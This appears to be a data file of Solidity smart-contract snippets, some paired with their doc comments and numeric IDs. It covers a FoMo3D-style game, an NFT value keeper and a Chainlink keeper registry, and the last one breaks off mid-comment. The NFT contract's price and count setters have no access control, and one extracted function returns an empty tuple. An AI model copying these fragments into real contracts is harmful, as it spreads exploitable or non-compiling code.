F3Devents.onAffiliatePayout(_curAffID, plyr_[_curAffID].addr, plyr_[_curAffID].name, _rID, _pID, _aff, now); //get affiliate's affiliate _curAffID = plyr_[_curAffID].laff; } return(_eventData_); } // this function had a bug~ // function potSwap() // external // payable // { // // setup local rID // uint256 _rID = rID_ + 1; // round_[_rID].pot = round_[_rID].pot.add(msg.value); // emit F3Devents.onPotSwapDeposit(_rID, msg.value); // } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share, 40% of total uint256 _gen = _eth.mul(40) / 100; // toss 0% into airdrop pot uint256 _air = 0; // (_eth / 100); airDropPot_ = airDropPot_.add(_air); // // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) // _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = (_eth.mul(20)) / 100; //_eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate // require( // msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C || // msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D || // msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 || // msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C || // msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3, // "only team just can activate" // ); require(msg.sender == god, "only team just can activate"); // // make sure that its been linked. // require(address(otherF3D_) != address(0), "must link to other FoMo3D first"); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } // function setOtherFomo(address _otherF3D) // public // { // // only team just can activate // require( // msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C || // msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D || // msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 || // msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C || // msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3, // "only team just can activate" // ); // // make sure that it HASNT yet been linked. // require(address(otherF3D_) == address(0), "silly dev, you already did that"); // // set up other fomo3d (fast or long) for pot swap // otherF3D_ = otherFoMo3D(_otherF3D); // } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment uint256 affNum; // num of invite players in this round } struct Round { uint256 plyr; // pIDs of player in lead, uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase uint256 maxEthPID; // pid who buy max eth uint256 maxAffPID; // pid who invite max uint256[3] plyrs; // pIDs of player in lead, the first is newest } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round // uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round // uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== // interface otherFoMo3D { // function potSwap() external payable; // } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } // interface DiviesInterface { // function deposit() external payable; // } // interface JIincForwarderInterface { // function deposit() external payable returns(bool); // function status() external view returns(address, address, bool); // function startMigration(address _newCorpBank) external returns(bool); // function cancelMigration() external returns(bool); // function finishMigration() external returns(bool); // function setup(address _firstCorpBank) external; // } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
other round info. if player not set name, return null string return max eth of round player name return max eth of round return max invite of round player name return max invite of round return last 1 name of buyer return last 2 name of buyer return last 3 name of buyer/ setup local rID
function getCurrentRoundInfo2() public view returns(bytes32, uint256, bytes32, uint256, bytes32, bytes32, bytes32) { uint256 _rID = rID_; return ( ); }
9,849,263
/** *Submitted for verification at Etherscan.io on 2021-07-29 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface KeeperCompatibleInterface { /** * @notice checks if the contract requires work to be done. * @param checkData data passed to the contract when checking for upkeep. * @return upkeepNeeded boolean to indicate whether the keeper should call * performUpkeep or not. * @return performData bytes that the keeper should call performUpkeep with, * if upkeep is needed. */ function checkUpkeep( bytes calldata checkData ) external returns ( bool upkeepNeeded, bytes memory performData ); /** * @notice Performs work on the contract. Executed by the keepers, via the registry. * @param performData is the data which was passed back from the checkData * simulation. */ function performUpkeep( bytes calldata performData ) external; } contract NFTValueAggregator is KeeperCompatibleInterface { /** * Public variables */ uint256 public zNFTValue; uint32 public cpERC20TokenPriceUSD = 319; uint32 public soldNFTCnt = 94; uint16 public dateDay = 3; uint16 public dateHour = 9; constructor() { zNFTValue = 67872; } // Setters for ERC20TokenPriceUSD, soldNFTCnt. function setSoldNFTCnt(uint32 cnt) external { soldNFTCnt = cnt; } function setCPERC20TokenPriceUSD(uint32 price) external { cpERC20TokenPriceUSD = price; } function setDateDay(uint16 _day) external { dateDay = _day; } function setDateHour(uint16 _hour) external { dateHour = _hour; } // Keeper functions function checkUpkeep(bytes calldata checkData) external override view returns (bool upkeepNeeded, bytes memory performData) { // Add condition that current time == 9 am EST 3rd of Month. _DateTime memory dt = parseTimestamp(block.timestamp); upkeepNeeded = dt.day == dateDay && dt.hour == dateHour; // // We don't use the checkData in this example // // checkData was defined when the Upkeep was registered performData = checkData; } function performUpkeep(bytes calldata performData) external override { // // We don't use the performData in this example // // performData is generated by the Keeper's call to your `checkUpkeep` function performData; zNFTValue = (20000 * cpERC20TokenPriceUSD) / soldNFTCnt; } // DateTime struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint256 constant DAY_IN_SECONDS = 86400; uint256 constant YEAR_IN_SECONDS = 31536000; uint256 constant LEAP_YEAR_IN_SECONDS = 31622400; uint256 constant HOUR_IN_SECONDS = 3600; uint256 constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint256 year) public pure returns (uint256) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if ( month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12 ) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint256 timestamp) internal pure returns (_DateTime memory dt) { uint256 secondsAccountedFor = 0; uint256 buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint256 secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint256 timestamp) public pure returns (uint16) { uint256 secondsAccountedFor = 0; uint16 year; uint256 numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint256 timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint256 timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint256 timestamp) public pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint256 timestamp) public pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint256 timestamp) public pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint256 timestamp) public pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } }
Setters for ERC20TokenPriceUSD, soldNFTCnt.
function setSoldNFTCnt(uint32 cnt) external { soldNFTCnt = cnt; }
2,420,656
./full_match/5/0x6022eFfDd18125A83cccd0B9D59017a3e392580D/sources/contracts/TheGardens.sol
checkHive: Private function to check the current status of the honeycomb minting process and revert with a `MintingError` if certain conditions are not met. _honeyList A boolean indicating whether the honeycomb list should be checked./
function checkHive(bool _honeyList) private view { uint8 status = beesParams.status; if (status == 0 || status == 4) { revert MintingError(); } if (!_honeyList && status < 3) { revert MintingError(); } if (_honeyList && status > 2) { revert MintingError(); } }
7,039,091
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./KeeperBase.sol"; import "./ConfirmedOwner.sol"; import "./interfaces/TypeAndVersionInterface.sol"; import "./interfaces/AggregatorV3Interface.sol"; import "./interfaces/LinkTokenInterface.sol"; import "./interfaces/KeeperCompatibleInterface.sol"; import "./interfaces/KeeperRegistryInterface.sol"; import "./interfaces/MigratableKeeperRegistryInterface.sol"; import "./interfaces/UpkeepTranscoderInterface.sol"; import "./interfaces/ERC677ReceiverInterface.sol"; /** * @notice Registry for adding work for Chainlink Keepers to perform on client * contracts. Clients must support the Upkeep interface. */ contract KeeperRegistry is TypeAndVersionInterface, ConfirmedOwner, KeeperBase, ReentrancyGuard, Pausable, KeeperRegistryExecutableInterface, MigratableKeeperRegistryInterface, ERC677ReceiverInterface { using Address for address; using EnumerableSet for EnumerableSet.UintSet; address private constant ZERO_ADDRESS = address(0); address private constant IGNORE_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF; bytes4 private constant CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector; bytes4 private constant PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector; uint256 private constant PERFORM_GAS_MIN = 2_300; uint256 private constant CANCELATION_DELAY = 50; uint256 private constant PERFORM_GAS_CUSHION = 5_000; uint256 private constant REGISTRY_GAS_OVERHEAD = 80_000; uint256 private constant PPB_BASE = 1_000_000_000; uint64 private constant UINT64_MAX = 2**64 - 1; uint96 private constant LINK_TOTAL_SUPPLY = 1e27; address[] private s_keeperList; EnumerableSet.UintSet private s_upkeepIDs; mapping(uint256 => Upkeep) private s_upkeep; mapping(address => KeeperInfo) private s_keeperInfo; mapping(address => address) private s_proposedPayee; mapping(uint256 => bytes) private s_checkData; mapping(address => MigrationPermission) private s_peerRegistryMigrationPermission; Storage private s_storage; uint256 private s_fallbackGasPrice; // not in config object for gas savings uint256 private s_fallbackLinkPrice; // not in config object for gas savings uint96 private s_ownerLinkBalance; uint256 private s_expectedLinkBalance; address private s_transcoder; address private s_registrar; LinkTokenInterface public immutable LINK; AggregatorV3Interface public immutable LINK_ETH_FEED; AggregatorV3Interface public immutable FAST_GAS_FEED; /** * @notice versions: * - KeeperRegistry 1.2.0: allow funding within performUpkeep * : allow configurable registry maxPerformGas * : add function to let admin change upkeep gas limit * : add minUpkeepSpend requirement : upgrade to solidity v0.8 * - KeeperRegistry 1.1.0: added flatFeeMicroLink * - KeeperRegistry 1.0.0: initial release */ string public constant override typeAndVersion = "KeeperRegistry 1.2.0"; error CannotCancel(); error UpkeepNotActive(); error MigrationNotPermitted(); error UpkeepNotCanceled(); error UpkeepNotNeeded(); error NotAContract(); error PaymentGreaterThanAllLINK(); error OnlyActiveKeepers(); error InsufficientFunds(); error KeepersMustTakeTurns(); error ParameterLengthError(); error OnlyCallableByOwnerOrAdmin(); error OnlyCallableByLINKToken(); error InvalidPayee(); error DuplicateEntry(); error ValueNotChanged(); error IndexOutOfRange(); error TranscoderNotSet(); error ArrayHasNoEntries(); error GasLimitOutsideRange(); error OnlyCallableByPayee(); error OnlyCallableByProposedPayee(); error GasLimitCanOnlyIncrease(); error OnlyCallableByAdmin(); error OnlyCallableByOwnerOrRegistrar(); error InvalidRecipient(); error InvalidDataLength(); error TargetCheckReverted(bytes reason); enum MigrationPermission { NONE, OUTGOING, INCOMING, BIDIRECTIONAL } /** * @notice storage of the registry, contains a mix of config and state data */ struct Storage { uint32 paymentPremiumPPB; uint32 flatFeeMicroLink; uint24 blockCountPerTurn; uint32 checkGasLimit; uint24 stalenessSeconds; uint16 gasCeilingMultiplier; uint96 minUpkeepSpend; // 1 evm word uint32 maxPerformGas; uint32 nonce; // 2 evm words } struct Upkeep { uint96 balance; address lastKeeper; // 1 storage slot full uint32 executeGas; uint64 maxValidBlocknumber; address target; // 2 storage slots full uint96 amountSpent; address admin; // 3 storage slots full } struct KeeperInfo { address payee; uint96 balance; bool active; } struct PerformParams { address from; uint256 id; bytes performData; uint256 maxLinkPayment; uint256 gasLimit; uint256 adjustedGasWei; uint256 linkEth; } event UpkeepRegistered(uint256 indexed id, uint32 executeGas, address admin); event UpkeepPerformed( uint256 indexed id, bool indexed success, address indexed from, uint96 payment, bytes performData ); event UpkeepCanceled(uint256 indexed id, uint64 indexed atBlockHeight); event FundsAdded(uint256 indexed id, address indexed from, uint96 amount); event FundsWithdrawn(uint256 indexed id, uint256 amount, address to); event OwnerFundsWithdrawn(uint96 amount); event UpkeepMigrated(uint256 indexed id, uint256 remainingBalance, address destination); event UpkeepReceived(uint256 indexed id, uint256 startingBalance, address importedFrom); event ConfigSet(Config config); event KeepersUpdated(address[] keepers, address[] payees); event PaymentWithdrawn(address indexed keeper, uint256 indexed amount, address indexed to, address payee); event PayeeshipTransferRequested(address indexed keeper, address indexed from, address indexed to); event PayeeshipTransferred(address indexed keeper, address indexed from, address indexed to); event UpkeepGasLimitSet(uint256 indexed id, uint96 gasLimit); /** * @param link address of the LINK Token * @param linkEthFeed address of the LINK/ETH price feed * @param fastGasFeed address of the Fast Gas price feed * @param config registry config settings */ constructor( address link, address linkEthFeed, address fastGasFeed, Config memory config ) ConfirmedOwner(msg.sender) { LINK = LinkTokenInterface(link); LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed); FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed); setConfig(config); } // ACTIONS /** * @notice adds a new upkeep * @param target address to perform upkeep on * @param gasLimit amount of gas to provide the target contract when * performing upkeep * @param admin address to cancel upkeep and withdraw remaining funds * @param checkData data passed to the contract when checking for upkeep */ function registerUpkeep( address target, uint32 gasLimit, address admin, bytes calldata checkData ) external override onlyOwnerOrRegistrar returns (uint256 id) { id = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), address(this), s_storage.nonce))); _createUpkeep(id, target, gasLimit, admin, 0, checkData); s_storage.nonce++; emit UpkeepRegistered(id, gasLimit, admin); return id; } /** * @notice simulated by keepers via eth_call to see if the upkeep needs to be * performed. If upkeep is needed, the call then simulates performUpkeep * to make sure it succeeds. Finally, it returns the success status along with * payment information and the perform data payload. * @param id identifier of the upkeep to check * @param from the address to simulate performing the upkeep from */ function checkUpkeep(uint256 id, address from) external override cannotExecute returns ( bytes memory performData, uint256 maxLinkPayment, uint256 gasLimit, uint256 adjustedGasWei, uint256 linkEth ) { Upkeep memory upkeep = s_upkeep[id]; bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]); (bool success, bytes memory result) = upkeep.target.call{gas: s_storage.checkGasLimit}(callData); if (!success) revert TargetCheckReverted(result); (success, performData) = abi.decode(result, (bool, bytes)); if (!success) revert UpkeepNotNeeded(); PerformParams memory params = _generatePerformParams(from, id, performData, false); _prePerformUpkeep(upkeep, params.from, params.maxLinkPayment); return (performData, params.maxLinkPayment, params.gasLimit, params.adjustedGasWei, params.linkEth); } /** * @notice executes the upkeep with the perform data returned from * checkUpkeep, validates the keeper's permissions, and pays the keeper. * @param id identifier of the upkeep to execute the data with. * @param performData calldata parameter to be passed to the target upkeep. */ function performUpkeep(uint256 id, bytes calldata performData) external override whenNotPaused returns (bool success) { return _performUpkeepWithParams(_generatePerformParams(msg.sender, id, performData, true)); } /** * @notice prevent an upkeep from being performed in the future * @param id upkeep to be canceled */ function cancelUpkeep(uint256 id) external override { uint64 maxValid = s_upkeep[id].maxValidBlocknumber; bool canceled = maxValid != UINT64_MAX; bool isOwner = msg.sender == owner(); if (canceled && !(isOwner && maxValid > block.number)) revert CannotCancel(); if (!isOwner && msg.sender != s_upkeep[id].admin) revert OnlyCallableByOwnerOrAdmin(); uint256 height = block.number; if (!isOwner) { height = height + CANCELATION_DELAY; } s_upkeep[id].maxValidBlocknumber = uint64(height); s_upkeepIDs.remove(id); emit UpkeepCanceled(id, uint64(height)); } /** * @notice adds LINK funding for an upkeep by transferring from the sender's * LINK balance * @param id upkeep to fund * @param amount number of LINK to transfer */ function addFunds(uint256 id, uint96 amount) external override onlyActiveUpkeep(id) { s_upkeep[id].balance = s_upkeep[id].balance + amount; s_expectedLinkBalance = s_expectedLinkBalance + amount; LINK.transferFrom(msg.sender, address(this), amount); emit FundsAdded(id, msg.sender, amount); } /** * @notice uses LINK's transferAndCall to LINK and add funding to an upkeep * @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX * @param sender the account which transferred the funds * @param amount number of LINK transfer */ function onTokenTransfer( address sender, uint256 amount, bytes calldata data ) external { if (msg.sender != address(LINK)) revert OnlyCallableByLINKToken(); if (data.length != 32) revert InvalidDataLength(); uint256 id = abi.decode(data, (uint256)); if (s_upkeep[id].maxValidBlocknumber != UINT64_MAX) revert UpkeepNotActive(); s_upkeep[id].balance = s_upkeep[id].balance + uint96(amount); s_expectedLinkBalance = s_expectedLinkBalance + amount; emit FundsAdded(id, sender, uint96(amount)); } /** * @notice removes funding from a canceled upkeep * @param id upkeep to withdraw funds from * @param to destination address for sending remaining funds */ function withdrawFunds(uint256 id, address to) external validRecipient(to) onlyUpkeepAdmin(id) { if (s_upkeep[id].maxValidBlocknumber > block.number) revert UpkeepNotCanceled(); uint96 minUpkeepSpend = s_storage.minUpkeepSpend; uint96 amountLeft = s_upkeep[id].balance; uint96 amountSpent = s_upkeep[id].amountSpent; uint96 cancellationFee = 0; // cancellationFee is supposed to be min(max(minUpkeepSpend - amountSpent,0), amountLeft) if (amountSpent < minUpkeepSpend) { cancellationFee = minUpkeepSpend - amountSpent; if (cancellationFee > amountLeft) { cancellationFee = amountLeft; } } uint96 amountToWithdraw = amountLeft - cancellationFee; s_upkeep[id].balance = 0; s_ownerLinkBalance = s_ownerLinkBalance + cancellationFee; s_expectedLinkBalance = s_expectedLinkBalance - amountToWithdraw; emit FundsWithdrawn(id, amountToWithdraw, to); LINK.transfer(to, amountToWithdraw); } /** * @notice withdraws LINK funds collected through cancellation fees */ function withdrawOwnerFunds() external onlyOwner { uint96 amount = s_ownerLinkBalance; s_expectedLinkBalance = s_expectedLinkBalance - amount; s_ownerLinkBalance = 0; emit OwnerFundsWithdrawn(amount); LINK.transfer(msg.sender, amount); } /** * @notice allows the admin of an upkeep to modify gas limit * @param id upkeep to be change the gas limit for * @param gasLimit new gas limit for the upkeep */ function setUpkeepGasLimit(uint256 id, uint32 gasLimit) external override onlyActiveUpkeep(id) onlyUpkeepAdmin(id) { if (gasLimit < PERFORM_GAS_MIN || gasLimit > s_storage.maxPerformGas) revert GasLimitOutsideRange(); s_upkeep[id].executeGas = gasLimit; emit UpkeepGasLimitSet(id, gasLimit); } /** * @notice recovers LINK funds improperly transferred to the registry * @dev In principle this function’s execution 